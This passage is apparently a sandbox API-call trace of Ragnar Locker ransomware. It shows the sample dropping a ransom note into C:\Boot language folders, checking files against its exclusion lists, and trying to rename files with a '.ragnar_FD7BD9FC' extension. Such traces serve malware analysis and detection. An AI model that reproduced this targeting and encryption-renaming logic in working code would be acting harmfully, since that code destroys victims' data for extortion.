lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.371] lstrcpyW (in: lpString1=0x1ed660, lpString2="ko-KR" | out: lpString1="ko-KR") returned="ko-KR" [0047.371] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ko-KR", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\ko-KR\\") returned="\\\\?\\C:\\Boot\\ko-KR\\" [0047.371] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\ko-KR\\" | out: lpString1="\\\\?\\C:\\Boot\\ko-KR\\") returned="\\\\?\\C:\\Boot\\ko-KR\\" [0047.371] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ko-KR\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\ko-KR\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\ko-KR\\RGNR_FD7BD9FC.txt" [0047.371] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\ko-KR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\ko-kr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.427] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ko-KR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\ko-KR\\*.*") returned="\\\\?\\C:\\Boot\\ko-KR\\*.*" [0047.427] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\ko-KR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.427] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.427] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e827240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e827240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.428] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.428] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e827240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e827240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.428] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.428] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.428] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.428] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.428] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.428] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e827240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e827240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.428] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.428] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.428] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e827240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e827240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.428] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e827240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e827240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.429] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e827240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e827240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.429] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.429] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\ko-KR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.429] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.429] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.429] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.429] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.429] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.429] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.429] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.430] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.430] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.430] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0047.430] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.430] CloseHandle (hObject=0xffffffff) returned 0 [0047.430] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" [0047.430] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.430] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.430] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e827240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e827240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.430] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\ko-KR\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.430] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.431] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\ko-KR\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.431] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.431] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e827240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e827240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.431] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.431] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0047.431] lstrcmpiW (lpString1="memtest.exe", lpString2=".") returned 1 [0047.431] lstrcmpiW (lpString1="memtest.exe", lpString2="..") returned 1 [0047.431] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2=".") returned 1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="..") returned 1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="Windows") returned -1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="Windows.old") returned -1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="Tor browser") returned -1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="Internet Explorer") returned 1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="Google") returned 1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="Opera") returned -1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="Opera Software") returned -1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="Mozilla") returned 1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="Mozilla Firefox") returned 1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="$Recycle.Bin") returned 1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="ProgramData") returned -1 [0047.431] lstrcmpiW (lpString1="nb-NO", lpString2="All Users") returned 1 [0047.431] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.432] lstrcpyW (in: lpString1=0x1ed660, lpString2="nb-NO" | out: lpString1="nb-NO") returned="nb-NO" [0047.432] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\nb-NO", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\nb-NO\\") returned="\\\\?\\C:\\Boot\\nb-NO\\" [0047.432] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\nb-NO\\" | out: lpString1="\\\\?\\C:\\Boot\\nb-NO\\") returned="\\\\?\\C:\\Boot\\nb-NO\\" [0047.432] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\nb-NO\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\nb-NO\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\nb-NO\\RGNR_FD7BD9FC.txt" [0047.432] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\nb-NO\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\nb-no\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.435] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\nb-NO\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\nb-NO\\*.*") returned="\\\\?\\C:\\Boot\\nb-NO\\*.*" [0047.435] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\nb-NO\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.435] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.435] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e84d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.435] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.435] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e84d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.435] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.435] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.435] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.435] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.436] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.436] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e84d3a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.436] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.436] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.436] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e84d3a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.436] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e84d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.436] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e84d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.436] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.436] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\nb-NO\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.437] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.437] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.437] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.437] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.437] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.437] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.437] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.437] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.437] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.437] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0047.439] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.439] CloseHandle (hObject=0xffffffff) returned 0 [0047.439] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" [0047.439] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.439] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.439] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: 